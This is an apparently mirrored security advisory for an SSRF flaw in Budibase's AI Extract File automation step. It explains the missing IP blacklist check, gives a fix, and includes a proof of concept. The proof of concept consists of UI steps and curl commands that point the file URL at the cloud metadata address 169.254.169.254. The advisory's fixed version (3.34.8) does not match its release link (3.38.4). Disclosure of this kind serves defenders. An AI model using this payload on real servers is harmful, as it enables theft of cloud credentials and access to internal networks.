GHSA-RPJ4-7X2V-WJRF
Vulnerability from github – Published: 2026-05-15 17:47 – Updated: 2026-05-15 17:47Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.
Vulnerable Code
packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetch(fileUrl) // NO blacklist check!
// ...
const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!
}
Contrast with All Other Automation Steps (Same Codebase)
Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:
steps/slack.ts:19:response = await fetchWithBlacklist(url, {...})steps/discord.ts:28:response = await fetchWithBlacklist(url, {...})steps/zapier.ts:33:response = await fetchWithBlacklist(url, {...})steps/n8n.ts:53:response = await fetchWithBlacklist(url, request)steps/outgoingWebhook.ts:response = await fetchWithBlacklist(url, {...})steps/make.ts:response = await fetchWithBlacklist(url, {...})
The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:
- 127.0.0.0/8 (loopback)
- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
- 169.254.0.0/16 (link-local / cloud metadata)
- IPv6 private addresses
The AI Extract File step bypasses all of these protections.
Steps to Reproduce
Via Budibase UI
- Login as builder user
- Create or open any app
- Go to Automations > New Automation
- Add trigger: App Action
- Add step: AI > Extract File Data
- Set Source:
URL - Set File URL:
http://169.254.169.254/latest/meta-data/(or any internal IP) - Click Run Test — the server makes the request without IP blacklist validation
Via curl (API)
# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'
# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST -H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'
Code Review Verification
Compare the vulnerable function with the safe pattern used everywhere else:
VULNERABLE (no blacklist):
packages/server/src/automations/steps/ai/extract.ts:116
const response = await fetch(fileUrl)
SAFE (with blacklist) - every other step:
packages/server/src/automations/steps/slack.ts:19
response = await fetchWithBlacklist(url, {...})
packages/server/src/automations/steps/discord.ts:28
response = await fetchWithBlacklist(url, {...})
Expected vs Actual Behavior
Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.
Impact
An authenticated user with builder permissions can:
- Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
- Scan internal network services and ports
- Access internal APIs not intended for external access
- Exfiltrate data from internal services via the automation response
In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.
Proposed Fix
Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:
import { fetchWithBlacklist } from "../utils"
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Use blacklist
// ...
const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.34.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45548"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:47:10Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n const response = await fetch(fileUrl) // NO blacklist check!\n // ...\n const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** \u2014 the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}\u0027\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n \"http://BUDIBASE_HOST/api/automations\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n -d \u0027{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}\u0027\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n packages/server/src/automations/steps/ai/extract.ts:116\n const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n packages/server/src/automations/steps/slack.ts:19\n response = await fetchWithBlacklist(url, {...})\n packages/server/src/automations/steps/discord.ts:28\n response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n const response = await fetchWithBlacklist(fileUrl) // Use blacklist\n // ...\n const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist\n}\n```",
"id": "GHSA-rpj4-7x2v-wjrf",
"modified": "2026-05-15T17:47:10Z",
"published": "2026-05-15T17:47:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.38.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.